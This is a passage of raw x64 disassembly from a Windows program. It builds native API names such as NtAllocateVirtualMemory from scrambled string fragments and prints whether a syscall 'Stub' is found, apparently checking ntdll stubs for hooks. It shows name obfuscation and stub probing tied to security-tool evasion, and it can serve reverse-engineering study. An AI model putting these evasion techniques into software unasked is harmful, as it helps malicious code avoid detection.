lea rax, [rbp + 0xc80]
lea rdx, [rbp + 0xca0]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xc60]
lea rdx, [rbp + 0xc80]
lea r8, [0x1402ba07c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xc40]
lea rdx, [rbp + 0xc60]
lea r8, [0x1402ba07e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xc20]
lea rdx, [rbp + 0xc40]
lea r8, [0x1402ba080]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0xc20]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0xc20]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xc40]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xc60]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xc80]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xcc0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xce0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xd00]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xd20]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xd40]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xd60]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xd80]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xda0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xdc0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xde0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xe00]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xe2f]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0xe30]
mov rcx, qword [rbp + 0x34b0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140005720
lea rsi, [0x1402ba054]
jmp 0x140005727
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x101f]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x101f]
lea rax, [rbp + 0xff0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0xfd0]
lea rdx, [rbp + 0xff0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xfb0]
lea rdx, [rbp + 0xfd0]
lea r8, [0x1402ba082]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xf90]
lea rdx, [rbp + 0xfb0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, [0x1402ba084]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, [0x1402ba04c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xf30]
lea rdx, [rbp + 0xf50]
lea r8, [0x1402ba050]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xf10]
lea rdx, [rbp + 0xf30]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xef0]
lea rdx, [rbp + 0xf10]
lea r8, [0x1402ba078]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xed0]
lea rdx, [rbp + 0xef0]
lea r8, [0x1402ba07a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xeb0]
lea rdx, [rbp + 0xed0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xe90]
lea rdx, [rbp + 0xeb0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xe70]
lea rdx, [rbp + 0xe90]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xe50]
lea rdx, [rbp + 0xe70]
lea r8, [0x1402ba07c]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0xe50]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0xe50]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xe70]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xeb0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xed0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xef0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xf10]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xfd0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xff0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x101f]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x1020]
mov rcx, qword [rbp + 0x34a8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140005a63
lea rsi, [0x1402ba054]
jmp 0x140005a6a
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x12ef]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x12ef]
lea rax, [rbp + 0x12c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1200]
lea rdx, [rbp + 0x1220]
lea r8, [0x1402ba086]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x11e0]
lea rdx, [rbp + 0x1200]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x11c0]
lea rdx, [rbp + 0x11e0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x11a0]
lea rdx, [rbp + 0x11c0]
lea r8, [0x1402ba088]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1180]
lea rdx, [rbp + 0x11a0]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1160]
lea rdx, [rbp + 0x1180]
lea r8, [0x1402ba08a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1140]
lea rdx, [rbp + 0x1160]
lea r8, [0x1402ba08c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1120]
lea rdx, [rbp + 0x1140]
lea r8, [0x1402ba03c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1100]
lea rdx, [rbp + 0x1120]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x10e0]
lea rdx, [rbp + 0x1100]
lea r8, [0x1402ba08e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x10c0]
lea rdx, [rbp + 0x10e0]
lea r8, [0x1402ba090]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x10a0]
lea rdx, [rbp + 0x10c0]
lea r8, [0x1402ba092]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1080]
lea rdx, [rbp + 0x10a0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1060]
lea rdx, [rbp + 0x1080]
lea r8, [0x1402ba040]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x1040]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x10a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x10c0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x10e0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1100]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1180]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x11a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x11c0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x11e0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x12ef]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x12f0]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x12f0]
mov rcx, qword [rbp + 0x34a0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x12f0]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140005eda
lea rsi, [0x1402ba054]
jmp 0x140005ee1
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x163f]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x163f]
lea rax, [rbp + 0x1610]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x15f0]
lea rdx, [rbp + 0x1610]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x15d0]
lea rdx, [rbp + 0x15f0]
lea r8, [0x1402ba094]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x15b0]
lea rdx, [rbp + 0x15d0]
lea r8, [0x1402ba04c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1590]
lea rdx, [rbp + 0x15b0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1550]
lea rdx, [rbp + 0x1570]
lea r8, [0x1402ba052]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1530]
lea rdx, [rbp + 0x1550]
lea r8, [0x1402ba096]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1510]
lea rdx, [rbp + 0x1530]
lea r8, [0x1402ba08a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x14f0]
lea rdx, [rbp + 0x1510]
lea r8, [0x1402ba098]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x14d0]
lea rdx, [rbp + 0x14f0]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x14b0]
lea rdx, [rbp + 0x14d0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1490]
lea rdx, [rbp + 0x14b0]
lea r8, [0x1402ba050]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1470]
lea rdx, [rbp + 0x1490]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1450]
lea rdx, [rbp + 0x1470]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1430]
lea rdx, [rbp + 0x1450]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1410]
lea rdx, [rbp + 0x1430]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x13f0]
lea rdx, [rbp + 0x1410]
lea r8, [0x1402ba08a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x13d0]
lea rdx, [rbp + 0x13f0]
lea r8, [0x1402ba074]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1370]
lea rdx, [rbp + 0x1390]
lea r8, [0x1402ba040]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1350]
lea rdx, [rbp + 0x1370]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1330]
lea rdx, [rbp + 0x1350]
lea r8, [0x1402ba084]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1310]
lea rdx, [rbp + 0x1330]
lea r8, [0x1402ba084]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x1310]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x1310]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x13d0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x13f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1410]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1430]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1450]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1470]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1490]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x14d0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x14f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1510]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1530]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x15b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x15d0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x15f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1610]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x163f]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x1640]
mov rcx, qword [rbp + 0x3498]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140006401
lea rsi, [0x1402ba054]
jmp 0x140006408
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x18cf]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x18cf]
lea rax, [rbp + 0x18a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x1880]
lea rdx, [rbp + 0x18a0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1860]
lea rdx, [rbp + 0x1880]
lea r8, [0x1402ba082]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1840]
lea rdx, [rbp + 0x1860]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1820]
lea rdx, [rbp + 0x1840]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1800]
lea rdx, [rbp + 0x1820]
lea r8, [0x1402ba07c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x17e0]
lea rdx, [rbp + 0x1800]
lea r8, [0x1402ba046]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x17c0]
lea rdx, [rbp + 0x17e0]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x17a0]
lea rdx, [rbp + 0x17c0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1780]
lea rdx, [rbp + 0x17a0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1760]
lea rdx, [rbp + 0x1780]
lea r8, [0x1402ba04c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1740]
lea rdx, [rbp + 0x1760]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1720]
lea rdx, [rbp + 0x1740]
lea r8, [0x1402ba03c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1700]
lea rdx, [rbp + 0x1720]
lea r8, [0x1402ba04e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x16e0]
lea rdx, [rbp + 0x1700]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x16c0]
lea rdx, [rbp + 0x16e0]
lea r8, [0x1402ba050]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x16a0]
lea rdx, [rbp + 0x16c0]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1680]
lea rdx, [rbp + 0x16a0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
lea r8, [0x1402ba052]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x1660]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1680]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x16a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x16c0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x16e0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1700]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1720]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1740]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1760]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1780]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x17a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x17c0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x17e0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1800]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1820]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1840]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1860]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1880]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x18cf]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x18d0]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x18d0]
mov rcx, qword [rbp + 0x3490]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x18d0]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140006820
lea rsi, [0x1402ba054]
jmp 0x140006827
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x19df]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x19df]
lea rax, [rbp + 0x19b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x1990]
lea rdx, [rbp + 0x19b0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1970]
lea rdx, [rbp + 0x1990]
lea r8, [0x1402ba076]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1950]
lea rdx, [rbp + 0x1970]
lea r8, [0x1402ba03c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1930]
lea rdx, [rbp + 0x1950]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1910]
lea rdx, [rbp + 0x1930]
lea r8, [0x1402ba084]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x18f0]
lea rdx, [rbp + 0x1910]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x18f0]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x18f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1910]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1930]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1950]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1970]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1990]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x19b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x19df]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x19e0]
mov rcx, qword [rbp + 0x3488]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140006a2f
lea rsi, [0x1402ba054]
jmp 0x140006a36
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1baf]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x1baf]
lea rax, [rbp + 0x1b80]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x1b60]
lea rdx, [rbp + 0x1b80]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1b40]
lea rdx, [rbp + 0x1b60]
lea r8, [0x1402ba08e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1b20]
lea rdx, [rbp + 0x1b40]
lea r8, [0x1402ba09a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1b00]
lea rdx, [rbp + 0x1b20]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1ae0]
lea rdx, [rbp + 0x1b00]
lea r8, [0x1402ba08a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1ac0]
lea rdx, [rbp + 0x1ae0]
lea r8, [0x1402ba074]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1aa0]
lea rdx, [rbp + 0x1ac0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1a80]
lea rdx, [rbp + 0x1aa0]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x1402ba040]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
lea r8, [0x1402ba084]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1a00]
lea rdx, [rbp + 0x1a20]
lea r8, [0x1402ba084]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x1a00]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x1a00]
mov rcx, rax
